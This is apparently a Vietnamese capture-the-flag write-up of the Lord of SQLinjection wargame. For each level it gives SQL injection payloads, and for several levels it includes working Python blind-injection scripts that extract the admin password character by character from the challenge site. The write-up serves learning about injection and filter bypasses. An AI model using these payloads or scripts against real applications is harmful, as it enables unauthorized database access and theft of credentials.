---
description: los.rubiya.kr
---

# \[WU]Lord of SQLinjection

### poltergeist

![](https://505951426-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MU2nUAEHNSUPPDjO7Z8%2F-MZvbPVeuDOIJCWprUcv%2F-MZvdHKVmzxzES-0UyqA%2Fimage.png?alt=media\&token=57e54d8f-a59c-4d72-81af-0620d3969c95)

Bài này ta chỉ cần để ý vào câu query: `select id from prob_gremlin where id='' and pw=''`&#x20;

Câu query này có 2 tham số `id` và `password` (`$_GET[id]` và `$_GET[pw]` )

Nếu cả 2 tham số đều tồn tại thì `$result` sẽ được trả về giá trị của `id` và lúc này challenge sẽ được solved!!!

Việc ta cần làm là khiến cho điều kiện sau `where` của query **luôn đúng** trong khi không `id` và `pw` .

Payload: `?id=' or 1=1 -- -&pw=gicungduoc`

![solved](https://505951426-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MU2nUAEHNSUPPDjO7Z8%2F-MZvbPVeuDOIJCWprUcv%2F-MZvgCuxMZ9BDsJqy-y1%2Fimage.png?alt=media\&token=558141b8-3046-40b7-8b8c-904d38b80cbc)

> **Giải thích**: Truyền payload vào id và comment đoạn sau ngay khi kết thúc payload
>
> `'` : đóng tham số id
>
> `or 1=1` : điều kiện luôn đúng
>
> `-- -` : comment phía sau và dấu gạch cuối để bảo có khoảng trắng

### cobolt

![](https://505951426-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MU2nUAEHNSUPPDjO7Z8%2F-M_BmwHi6xaW0xAzuceY%2F-M_Bn5vBi10E3568HkmX%2Fimage.png?alt=media\&token=b36dd194-ec64-472b-8a3d-a9028d93dc80)

Ta cần truyền 2 tham số `id` và `pw` . Trước khi query `pw` sẽ được hash `md5` và đặc biệt ta được biết trước có tồn tại 1 giá trị của `id` là **admin**. Vậy để sau `where`là một điều kiện luôn đúng thì ta cho `id='admin'` và comment đoạn phía sau.

**PAYLOAD:** `?id=admin' -- -&pw=gicungduoc`

![solved](https://505951426-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MU2nUAEHNSUPPDjO7Z8%2F-M_BmwHi6xaW0xAzuceY%2F-M_Bp3usfnDLJcTpRlZG%2Fimage.png?alt=media\&token=5fc70f79-8f5d-4412-af3e-27679d4f4d3f)

### goblin

![](https://505951426-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MU2nUAEHNSUPPDjO7Z8%2F-M_BmwHi6xaW0xAzuceY%2F-M_BpGqIoynyBhUSfO8E%2Fimage.png?alt=media\&token=3da96135-335e-4e93-b99b-106eae7904d2)

Tại bài này ta thấy 1 điều đặc biệt đó là `id` đã bị gán mặc định là **guest** và ta chỉ được truyền dữ liệu cho `no` (kiểu int).

Như vậy ta phải tìm cách để query trả về giá trị id là **admin**.

Thử giá trị của `no` lầnlượt là 0, 1 thử thì ta nhận được giá trị của `no=1` là của `id` guest.

![](https://505951426-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MU2nUAEHNSUPPDjO7Z8%2F-M_QHJHse0vx7-n1SYoc%2F-M_QHzC9z7XtvsMZQ1tJ%2Fimage.png?alt=media\&token=2c7a9de8-faa3-4143-bf9d-5c415b0ffff6)

Với câu query ban đầu:  **select id from prob\_goblin where id='guest' and no=1**

Điều kiện sau where là **TRUE and TRUE = TRUE**. Vậy nên sẽ luôn trả về `id='guest'` .

Ta không biết được giá trị `no` của admin là gì và ta cũng không thay được điều kiện `id='guest'` .

Điều kiện trong SQL nếu không có 'ngoặc' thì chúng sẽ thực hiện tuần tự and trước or sau. Nếu phía sau điều kiện `id` and với giá trị sai thì kết quả sẽ false và kết hợp với or true/false sẽ trả về true/false theo ta muốn, biểu diễn như sau: **TRUE and FALSE or FALSE/TRUE = FALSE/TRUE**

Kèm theo dữ kiện `no`của guest là 1 thì no của admin sẽ là 1 số khác 1.

**PAYLOAD**: `?no=0%20or%20no<>1`&#x20;

![solved](https://505951426-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MU2nUAEHNSUPPDjO7Z8%2F-M_QHJHse0vx7-n1SYoc%2F-M_QKi3L3p2-aEJb6k9n%2Fimage.png?alt=media\&token=a2cb4eeb-0abf-49fe-87d6-208f32360f85)

### orc

![](https://505951426-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MU2nUAEHNSUPPDjO7Z8%2F-M_QHJHse0vx7-n1SYoc%2F-M_QLRvY3gHfh5EvLwb_%2Fimage.png?alt=media\&token=8678e4ae-dbda-46b9-845f-3ef44882a1b3)

Ở bài này mới gì vào thì ta thử ngày payload sau:

**PAYLOAD**: `?pw='or 1=1 -- -`

Lúc này chỉ giải quyết được 1 nữa vấn đề.

![](https://505951426-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MU2nUAEHNSUPPDjO7Z8%2F-M_QHJHse0vx7-n1SYoc%2F-M_QLlZAWo1hJmWOUzYN%2Fimage.png?alt=media\&token=561cb5ee-ec79-4dee-8b51-93bf65fe0371)

Ta chú ý tới hàm `addslahes()` đã vô hiệu hóa dấu ' mà ta truyền vào.

Bài này mình nghĩ ngay đến phía server dùng GBK (UTF-8, Chinese). Nên thử dùng kỹ thuật multibyte chinese để bypass thử:

**PAYLOAD:** `縗' OR 1=1 -- -`&#x20;

![LOLLLLL :0 fail từ round 1](https://505951426-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MU2nUAEHNSUPPDjO7Z8%2F-M_QHJHse0vx7-n1SYoc%2F-M_QRczmIupcsIT2Xrnt%2Fimage.png?alt=media\&token=b1127297-9ed0-445e-ad1d-850e818e8331)

Thế là phải suy nghĩ lại từ đầu @@ Ở query 1 điều kiện khá yếu và ở query ngoại trừ `addslashes()` thì còn phải đúng chính xác password thì mình nghĩ chắc phải viết scipt để blind sqli.

Để có được pasword mình phải làm từng bước như sau:

* B1: Có được độ dài của password (id='admin' and 1=1or id='admin' and len(pw)=i)
* B2: Đoán từng ký tự của password (id='admin' and 1=1or id='admin' and substr(pw,i,1)='a')

Vì ở đây nhờ khi đoán đúng thì response chứa `<h2>Hello admin</h2>` nên kỹ thuật sử dụng ở đây gọi là **triggering conditional responses** (theo portswigger). Tiến hành viết script python:

```python
import requests
import string


url = "https://los.rubiya.kr/chall/orc_60e5b360f95c1f9688e4f3a86c5dd494.php"
chars = string.digits + string.ascii_letters

# cookies: Ctrl+Shift+I -> Application -> Cookies
cookies = {'PHPSESSID': 'XXX'}

i = 1
lenpw = 0
while True:
    qry = f"?pw=' or id='admin' and length(pw)={i} -- -"
    url_qry = url + qry
    
    # get response of GET request
    res = requests.get(url_qry, cookies=cookies)
    
    if "<h2>Hello admin</h2>" in res.text:
        lenpw = i
        print(f"[+] Lengh of password: {i}")
        break

    i += 1

result = ""
for i in range(1, lenpw+1):
    for c in chars:
        qry = f"?pw=' or id='admin' and  substr(pw,{i},1)='{c}' -- -"
        url_qry = url + qry

        # get response of GET request
        res = requests.get(url_qry, cookies=cookies)

        if "<h2>Hello admin</h2>" in res.text:
            result += c
            break

if result != "":
    print(f"RESULT: {result}")
else:
    print("SOMETHING WAS WRONG")

```

![](https://505951426-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MU2nUAEHNSUPPDjO7Z8%2F-M_QHJHse0vx7-n1SYoc%2F-M_Qj4EGhKjval5y3Oqc%2Fimage.png?alt=media\&token=9bae96e1-13bc-4246-9087-564a591feca1)

Tèn ten đã có kết quả payload lúc này đơn giản là `?pw=095a9852`&#x20;

![solved](https://505951426-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MU2nUAEHNSUPPDjO7Z8%2F-M_QHJHse0vx7-n1SYoc%2F-M_QjS7_Mmt15XGDOUL6%2Fimage.png?alt=media\&token=57d8bd4b-c4cd-4b43-b6c3-e0812d47795e)

### &#x20;**wolfman**

![](https://505951426-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MU2nUAEHNSUPPDjO7Z8%2F-M_QHJHse0vx7-n1SYoc%2F-M_Qjsx1aJ1goSVRKUJJ%2Fimage.png?alt=media\&token=22476677-7e0e-42e4-9474-c43a0d97d0f2)

Ở bài này có 1 hàm `login_chk()` khá lạ và phía dưới là filter khoảng trắng.

Việc bypass khoảng trắng ta có thể thay thế bằng những ký tự sau:

* **comment**: `/**/`
* **tab**: `%09`
* **carrage**: `%0d`
* **return**: `%0a`

Đã có cách bypass filter khoảng trắng giờ kết hợp với logic của bài **goblin**: **`TRUE and FALSE or TRUE = TRUE`**

**PAYLOAD:** `?pw=1'/**/or/**/id='admin`

![solved](https://505951426-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MU2nUAEHNSUPPDjO7Z8%2F-M_QHJHse0vx7-n1SYoc%2F-M_QrGRPrNpZYcT1moO5%2Fimage.png?alt=media\&token=5437e8ee-e5ff-40cf-8a3f-a35065202e61)

### darkelf

![](https://505951426-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MU2nUAEHNSUPPDjO7Z8%2F-M_QHJHse0vx7-n1SYoc%2F-M_Qt1HSMQn02TGQt5YK%2Fimage.png?alt=media\&token=e2eb052f-0e5f-4df1-ba43-67e12b4afece)

Bài này thật bất ngờ vì đã filter `or` và `and` :) Nhưng lại chừa cho ta một con đường sống là `union` :D

Điều kiện kiểm tra `$result['id'] = 'admin'` là pass vậy chỉ `union` với SELECT 'admin' <3

Hoặc đơn giản hơn thay `or` với ||.

**PAYLOAD**: `?pw=' union SELECT 'admin` HOẶC `pw=' || id='admin`

![solved](https://505951426-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MU2nUAEHNSUPPDjO7Z8%2F-M_QHJHse0vx7-n1SYoc%2F-M_QtoBB0jqcoaoSleao%2Fimage.png?alt=media\&token=2ef963ec-a059-48be-bc17-8c592f715caf)

### orge

![](https://505951426-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MU2nUAEHNSUPPDjO7Z8%2F-M_QHJHse0vx7-n1SYoc%2F-M_QuFFrhOrZsJ6gS7Pr%2Fimage.png?alt=media\&token=59ecb7b6-2f0c-4dac-951f-b2086df8e9d6)

Bài này kếp hợp của drakelf và orce :> thế là phải viết script để blind sqli.

Từng bước đoán độ dài và đoán từng ký tự ở từng vị trí:

```python
import requests
import string


url = "https://los.rubiya.kr/chall/orge_bad2f25db233a7542be75844e314e9f3.php"
chars = string.digits + string.ascii_letters

# cookies: Ctrl+Shift+I -> Application -> Cookies
cookies = {'PHPSESSID': 'XXX'}

i = 1
lenpw = 0
while True:
    qry = f"?pw=' || id='admin' %26%26 length(pw)={i} -- -"
    url_qry = url + qry

    # get response of GET request
    res = requests.get(url_qry, cookies=cookies)

    if "<h2>Hello " in res.text:
        lenpw = i
        print(f"[+] Lengh of password: {i}")
        break

    i += 1

result = ""
for i in range(1, lenpw+1):
    for c in chars:
        qry = f"?pw=' || id='admin' %26%26  substr(pw,{i},1)='{c}' -- -"
        url_qry = url + qry

        # get response of GET request
        res = requests.get(url_qry, cookies=cookies)

        if "<h2>Hello " in res.text:
            result += c
            break

if result != "":
    print(f"[+]RESULT: {result}")
else:
    print("SOMETHING WAS WRONG")

```

![](https://505951426-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MU2nUAEHNSUPPDjO7Z8%2F-M_R-xnM1cO_ir6vjtYV%2F-M_R0-vy0NlYUlJG0JTx%2Fimage.png?alt=media\&token=06556e54-5766-4778-b868-75dcff53b0f9)

Kết quả nèeeee <3

![solved](https://505951426-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MU2nUAEHNSUPPDjO7Z8%2F-M_QHJHse0vx7-n1SYoc%2F-M_R-sw9Af6pSylZ_jqI%2Fimage.png?alt=media\&token=8112b26b-8cae-417b-b5cc-19c259273ee2)

### troll

![](https://505951426-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MU2nUAEHNSUPPDjO7Z8%2F-M_R0ncDlCkmWl1I3jUH%2F-M_R2Y6YlC2yrPDB46Jd%2Fimage.png?alt=media\&token=2d4eb630-69f6-462b-a3b6-47b3bcb620cf)

Tại bài này em đã khóc :< em vắt nát óc ra nghĩ tới 1 payload siêu cấp vũ trụ ơ nhưng không :)

MySQL không có phân biệt chữ hoa chữ thường :D cách giải như cái tên bài vậy :)))))

**PAYLOAD**: `?id=admiN`&#x20;

![solved](https://505951426-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MU2nUAEHNSUPPDjO7Z8%2F-M_R0ncDlCkmWl1I3jUH%2F-M_R33_XaobEkwv_mOay%2Fimage.png?alt=media\&token=4775c6c2-ffd6-40bf-af82-470faf791b29)

### vampire

![](https://505951426-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MU2nUAEHNSUPPDjO7Z8%2F-M_R0ncDlCkmWl1I3jUH%2F-M_R5GLrSqIUxYiLGIAT%2Fimage.png?alt=media\&token=9fc6a27c-8bac-4868-802a-350ad9ccf38d)

Bài này đúng là 1 con vampire :) thay vì hút máu thì nó hút mất **admin** của ta :D

Vậy thì cho hút :>

**PAYLOAD**: `?id=adadminmin` (admin sẽ bị replace thì id sẽ còn admin)

![solved](https://505951426-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MU2nUAEHNSUPPDjO7Z8%2F-M_R0ncDlCkmWl1I3jUH%2F-M_R6pyLG_f8gwRPbIrc%2Fimage.png?alt=media\&token=c04d56f2-7e50-438a-ade7-11c109de4588)

### skeleton

![](https://505951426-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MU2nUAEHNSUPPDjO7Z8%2F-M_R0ncDlCkmWl1I3jUH%2F-M_R7UMMOAmYSWPmwj2U%2Fimage.png?alt=media\&token=6a76b7fe-9db0-4c10-a600-f2408acc3d4e)

Bài này mới vào thử ngay payload cơ bản

**Payload**: `?pw= ' or id='admin' -- -`&#x20;

![](https://505951426-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MU2nUAEHNSUPPDjO7Z8%2F-M_R0ncDlCkmWl1I3jUH%2F-M_R7tvMtD1n2SJQ62Nv%2Fimage.png?alt=media\&token=f99613a6-3143-49fb-ae8d-21c5025cf2f5)



### golem

![](https://505951426-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MU2nUAEHNSUPPDjO7Z8%2F-M_R0ncDlCkmWl1I3jUH%2F-M_R8WWbMUz8bi2gBr8a%2Fimage.png?alt=media\&token=42021853-c01d-4f46-84f2-acdc185a13d2)

Bài này là một bài blind sqli bị filter `and` và `or` giống bài orge. Ta có thể dùng hàm `lenght()` để tìm độ dài password  nhưng hàm `substr()` đã bị filter nên cái khó là 1 hàm khác thay thế để đoán ra từng ký tự của password. Ngoài ra dấu `=` cũng đã bị filter.

Hàm `mid()` có chức năng tương tự hàm `substr()` và dùng `like` thay cho `=`. Bắt tay vào viết script:

```python
import requests
import string


url = "https://los.rubiya.kr/chall/golem_4b5202cfedd8160e73124b5234235ef5.php"
chars = string.digits + string.ascii_letters

# cookies: Ctrl+Shift+I -> Application -> Cookies
cookies = {'PHPSESSID': 'XXX'}

i = 1
lenpw = 0
while True:
    qry = f"?pw=' || id like 'admin' %26%26 length(pw) like {i} -- -"
    url_qry = url + qry

    # get response of GET request
    res = requests.get(url_qry, cookies=cookies)

    if "<h2>Hello " in res.text:
        lenpw = i
        print(f"[+] Lengh of password: {i}")
        break

    i += 1

result = ""
for i in range(1, lenpw+1):
    for c in chars:
        qry = f"?pw=' || id like 'admin' %26%26  mid(pw,{i},1) like '{c}' -- -"
        url_qry = url + qry

        # get response of GET request
        res = requests.get(url_qry, cookies=cookies)

        if "<h2>Hello " in res.text:
            result += c
            break

if result != "":
    print(f"[+]RESULT: {result}")
else:
    print("SOMETHING WAS WRONG")

```

![](https://505951426-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MU2nUAEHNSUPPDjO7Z8%2F-M_R0ncDlCkmWl1I3jUH%2F-M_RDIAt4foHWhPAHMm_%2Fimage.png?alt=media\&token=38a92db3-e197-4716-923e-3963ca892a35)

![solved](https://505951426-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MU2nUAEHNSUPPDjO7Z8%2F-M_R0ncDlCkmWl1I3jUH%2F-M_RDNoOMoOP8q38gDZ9%2Fimage.png?alt=media\&token=938d4225-d164-46e1-a7a2-1d3f735aefb7)

### darkknight

![](https://505951426-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MU2nUAEHNSUPPDjO7Z8%2F-M_R0ncDlCkmWl1I3jUH%2F-M_REfDEdZlnFtrmoWBE%2Fimage.png?alt=media\&token=234e9725-cb49-4fe6-b1a1-0aa6bf8054d4)

Bài này có 2 tham số `pw` và `no` . Với `pw`là string mà filter dấu `'` là thấy khá khoai. Còn `no` là số cũng filter `'` thì ít ra cũng dễ thở hơn. **==>** Input vào là dãy hex sẽ bypass được các chuỗi cần `'` (trong mysql có cơ chế tự động decode hex to text)&#x20;

Cấm dùng `ascii` để chuyển char sang dec thì ta dùng `ord` , dùng `mid` thay cho `substr` và `like` thay cho `=` . Tiến hành viết script:

```python
import requests
import string


url = "https://los.rubiya.kr/chall/darkknight_5cfbc71e68e09f1b039a8204d1a81456.php"
#chars = string.digits + string.ascii_letters

# cookies: Ctrl+Shift+I -> Application -> Cookies
cookies = {'PHPSESSID': 'XXX'}

i = 1
lenpw = 0
while True:
    #0x6964206c696b65202761646d696e27 : id like 'admin'
    qry = f"?pw=abc&no=0 || 0x6964206c696b65202761646d696e27 %26%26 length(pw) like {i} -- -"
    url_qry = url + qry

    # get response of GET request
    res = requests.get(url_qry, cookies=cookies)

    if "<h2>Hello" in res.text:
        lenpw = i
        print(f"[+] Lengh of password: {i}")
        break

    i += 1

result = ""
for i in range(1, lenpw+1):
    for c in range(48, 123):
        #0x6964206c696b65202761646d696e27 : id like 'admin'
        qry = f"?pw=abc&no=0 || 0x6964206c696b65202761646d696e27 %26%26  ord(mid(pw,{i},1)) like {c} -- -"
        url_qry = url + qry

        # get response of GET request
        res = requests.get(url_qry, cookies=cookies)

        if "<h2>Hello" in res.text:
            result += chr(c)
            break

if result != "":
    print(f"[+]RESULT: {result}")
else:
    print("SOMETHING WAS WRONG")

```

![](https://505951426-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MU2nUAEHNSUPPDjO7Z8%2F-M_R0ncDlCkmWl1I3jUH%2F-M_RaGO3VFlepnYNKvIs%2Fimage.png?alt=media\&token=649194bd-ea86-4d9a-b731-0c94d9265f37)

Ơ ??? thật không hiểu sao pasword dài 8 ký tự mà result có 7 ký tự thôi @@ mất đâu 1 ký tự.

Mình debug thử thì ký tự mất chính là ký tự cuối chữ `f` . Thật khó hiểu?? Ở 7 ký tự đầu tiên đều đúng response `<h2>Hello admin</h2>` nhưng riêng ký tự `f` cuối cùng thì trả về `<h2>Hello guest</h2>` ????????? Một sự khó hiểu???? @@

![](https://505951426-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MU2nUAEHNSUPPDjO7Z8%2F-M_RaT-1rdAgIk5ZSJDY%2F-M_RkGoUyR-W-4qc1ClK%2Fimage.png?alt=media\&token=16951d2b-a0c9-4b9c-8654-62d73a5ecbe0)

![](https://505951426-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MU2nUAEHNSUPPDjO7Z8%2F-M_RaT-1rdAgIk5ZSJDY%2F-M_RkZYqAqJHLR920vzB%2Fimage.png?alt=media\&token=30a09dac-c4f4-4465-b419-14d58414d924)

Khó hiểu thế nên mình sửa script lại :))) chứ không cách nào tìm ra nguyên lý để giải thích!!!!

> Sửa đoạn hex **id like 'admin'** thành **id like %admin** thì sẽ response đúng kết quả mong muốn

![](https://505951426-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MU2nUAEHNSUPPDjO7Z8%2F-M_RlNHno1SGQBHGfxsB%2F-M_Rm4jyXvXHl707-tCi%2Fimage.png?alt=media\&token=d969cd58-6c87-403b-88bf-b8d11f48035d)

Sau khi sửa thì đã có password!!!

![solved](https://505951426-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MU2nUAEHNSUPPDjO7Z8%2F-M_RaT-1rdAgIk5ZSJDY%2F-M_RbudBN6gPLMWrqXIl%2Fimage.png?alt=media\&token=7acb1f41-78aa-4808-83f7-ec188db8ac18)

### &#x20;**bugbear**

![](https://505951426-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MU2nUAEHNSUPPDjO7Z8%2F-M_RlNHno1SGQBHGfxsB%2F-M_Rlkp9zZvBVggxvKj6%2Fimage.png?alt=media\&token=4d18cefc-a3d3-44a9-9d8c-574e53633da3)

Tại bài này là sự kết hợp của tất cả các câu trên. Gồm có blind sqli và những filter khó chịu.

* **substr** : mid
* **ascii** : ~~ord~~ hex
* **= like** : in
* **or** : || (vô tình filter luôn ord vậy sẽ dùng hex)
* **and** : && (%26%26 urlencoded)
* **'** : "

Thử nghiệm 1 payload để check độ dài (mặc định là 8)

&#x20;`?pw=abc&no=0||/**/id/**/in/**/("admin")/**/%26%26/**/length(pw)/**/in/**/("8")/**/%23`&#x20;

![](https://505951426-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MU2nUAEHNSUPPDjO7Z8%2F-M_RlNHno1SGQBHGfxsB%2F-M_RrOv1C3WocGppSWvV%2Fimage.png?alt=media\&token=047cab3f-ff14-41af-b803-c28a4972d21a)

Thành công!!! Bắt đầu viết script:

```python
import requests
import string


url = "https://los.rubiya.kr/chall/bugbear_19ebf8c8106a5323825b5dfa1b07ac1f.php"
chars = string.digits + string.ascii_letters

# cookies: Ctrl+Shift+I -> Application -> Cookies
cookies = {'PHPSESSID': 'XXX'}

i = 1
lenpw = 0
while True:
    qry = f'?pw=abc&no=0||/**/id/**/in/**/("admin")/**/%26%26/**/length(pw)/**/in/**/("{i}")/**/%23'
    url_qry = url + qry

    # get response of GET request
    res = requests.get(url_qry, cookies=cookies)

    if "<h2>Hello" in res.text:
        lenpw = i
        print(f"[+] Lengh of password: {i}")
        break

    i += 1

result = ""
for i in range(1, 9):
    for c in chars:
        qry = f'?pw=abc&no=0||/**/id/**/in/**/("admin")/**/%26%26/**/hex(mid(pw,{i},1))/**/in/**/(hex("{c}"))/**/%23'
        url_qry = url + qry

        # get response of GET request
        res = requests.get(url_qry, cookies=cookies)

        if "<h2>Hello" in res.text:
            result += c
            break

if result != "":
    print(f"[+]RESULT: {result}")
else:
    print("SOMETHING WAS WRONG")

```

![](https://505951426-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MU2nUAEHNSUPPDjO7Z8%2F-M_RuHmQ_EQDTIc2SbNf%2F-M_RxvA0cHYR4yDtg9Lq%2Fimage.png?alt=media\&token=22962974-dc43-47cb-8690-319e62893ea0)

![solved](https://505951426-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MU2nUAEHNSUPPDjO7Z8%2F-M_RuHmQ_EQDTIc2SbNf%2F-M_Ry1oHAjFKtw4kUyhV%2Fimage.png?alt=media\&token=dbed17fa-1fe0-47ed-b802-11874170ee14)

### giant

![](https://505951426-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MU2nUAEHNSUPPDjO7Z8%2F-M_RuHmQ_EQDTIc2SbNf%2F-M_S-dojhUz6ADUhYs79%2Fimage.png?alt=media\&token=e32a517a-2a19-4344-8c23-6b88c4caafa4)

Tại bài này ta phải tách `fromprob_giant` ra để được câu query hoàn chỉnh. Nhưng độ dài giới hạn chỉ có 1 (không thể dùng /\*\*/) và filter những ký tự thay cho space như **%09** (\t), **%0a** (\n), **%0d** (\r). Nhưng sau một hồi tìm hiểu và thử thì mình biết đến 1 ký tự "**vertical tab** a.k.a **%0b** a.k.a **\v**".

**PAYLOAD:** `?shit=%0b`&#x20;

![solved](https://505951426-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MU2nUAEHNSUPPDjO7Z8%2F-M_S2ChKDXPWTDY1jgyd%2F-M_S2s6a05hipU8rBmEA%2Fimage.png?alt=media\&token=cb9c22a6-2d35-4669-aed9-e749ce76cd04)

### assasin

![](https://505951426-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MU2nUAEHNSUPPDjO7Z8%2F-M_S2ChKDXPWTDY1jgyd%2F-M_S3b2g-tCkQ5qBWl9L%2Fimage.png?alt=media\&token=240efc0e-89c2-4faf-b64a-e49bd876f67c)

Thấy `like` thì liền dùng % wildcard.

![](https://505951426-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MU2nUAEHNSUPPDjO7Z8%2F-M_S2ChKDXPWTDY1jgyd%2F-M_S48pt5HAZOzKU0hbq%2Fimage.png?alt=media\&token=2293c27c-e1ba-48b8-9e6e-21ba94d7ec63)

Bước đầu đã thực hiện khá oke, mong muốn tiếp theo là trả về admin chứ không phải guest.

Với ý tưởng ban đầu của mình là kiểu gì password của admin sẽ tồn tại 1 ký tự mà password của guest sẽ không có nên chỉ cần chạy 1 vòng lặp **?pw=a%** (thay a với tất cả ký tự thể hiện thị). Ơ :))) nhưng mà fail, chắc là password của admin và guest cùng bộ ký tự đó mà đã được hoán vị. :> Thôi thì đổi cách.

Ý tưởng script sẽ là match từ ký tự thứ nhất `pw` cho đến vị trí ký tự của admin và guest khác nhau:

```python
import requests
import string
import sys

url = "https://los.rubiya.kr/chall/assassin_14a1fd552c61c60f034879e5d4171373.php"
chars = string.digits + string.ascii_letters

# cookies: Ctrl+Shift+I -> Application -> Cookies
cookies = {'PHPSESSID': 'ci2gq4f22u6sahma0s8v4cq1bo'}

pw = ""
for i in range(1, 9):
    for c in chars:
        qry = f'?pw={pw}{c}%'
        url_qry = url + qry

        # get response of GET request
        res = requests.get(url_qry, cookies=cookies)

        if "<h2>Hello guest</h2>" in res.text:
            pw += c
            print(qry)
            break

        if "<h2>Hello admin</h2>" in res.text:
            print(qry)
            print("DONE")
            sys.exit(1)

```

![](https://505951426-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MU2nUAEHNSUPPDjO7Z8%2F-M_S77pxO9gOJKfrjEQ5%2F-M_SDaZccJJXMX22-iHZ%2Fimage.png?alt=media\&token=8aae017c-b095-4899-9c45-f2d147000608)

> **BONUS: mình debug để tìm được pw của cả 2 để tìm lý do fail của ý tưởng ban đầu của mình**
>
> * PW admin: 902efd10
> * PW guest: 90d2fe10
>
> \=> cả 2 cùng bộ ký tự và hoán vị nhau.

![solved](https://505951426-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MU2nUAEHNSUPPDjO7Z8%2F-M_S77pxO9gOJKfrjEQ5%2F-M_SEiLw5L-Cblk8SznS%2Fimage.png?alt=media\&token=abb9bad2-d71f-44c9-b759-eb34ad90083b)

### succubus

![](https://505951426-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MU2nUAEHNSUPPDjO7Z8%2F-M_VGtoSuZk0y_utXhXI%2F-M_VHs8IL3HRjZkv8T36%2Fimage.png?alt=media\&token=45691238-35b8-4d61-9bff-a8e853ac5cfe)

Tại bài này ở 2 tham số `id` và `pw` đều đã bị filter dấu `'` thì khá khó để inject gì vào.

Nhưng nhớ tới chế hoạt động của hàm `addslashes()` của php, chèn `\` vào trước dấu `'` thì **Escape character** sẽ xảy ra.&#x20;

**PAYLOAD**: `?id=\&pw=or 1=1 -- -` \
(Query:  select id from prob\_succubus where id='**\\' and pw=**' or 1=1 -- -')

Lúc này phía sau dấu `\` (phần in đậm) sẽ thành 1 chuỗi. FALSE or TRUE sẽ return TRUE.

![solved](https://505951426-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MU2nUAEHNSUPPDjO7Z8%2F-M_VGtoSuZk0y_utXhXI%2F-M_VJrGKquXWMlsvPg52%2Fimage.png?alt=media\&token=d70761be-f987-4d5e-9c4a-d30e7b324461)

### &#x20;**zombie\_assassin**

![](https://505951426-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MU2nUAEHNSUPPDjO7Z8%2F-M_VMV6f68G3HcES_EkQ%2F-M_VMeLpLwq6XKDK1Xwp%2Fimage.png?alt=media\&token=f5be3cd0-268a-4650-a4b7-217daed53c44)

Bài này cả 2 tham số `id` và `pw` trước khi được truyền vào query thì được đi qua lần lượt 2 hàm `addslash()` và `strrev()` .

`addslash()` thêm `\` vào trước những ký tự nào?

![w3school](https://505951426-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MU2nUAEHNSUPPDjO7Z8%2F-M_VMV6f68G3HcES_EkQ%2F-M_VNgtIgJSa3qdWwQCg%2Fimage.png?alt=media\&token=f8586e64-e5de-435b-8e7f-5debb2bd25b7)

Tạ ơn hàm `strrev()` vì nhờ hàm này mà sau khi chèn `\` sẽ đảo ngược lại và mình áp dụng bài **succubus**. Ví dụ: **"** --> **\\"** --> **"\\** --> ký tự`'` phía sau `\` sẽ escape!!!

**PAYLOAD**: `id="&pw=- -- 1=1 ro`

![solved](https://505951426-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MU2nUAEHNSUPPDjO7Z8%2F-M_VMV6f68G3HcES_EkQ%2F-M_VOo6jqUVG8TRoAAOK%2Fimage.png?alt=media\&token=da0c9327-ce31-4277-9edc-79be9f9c51db)



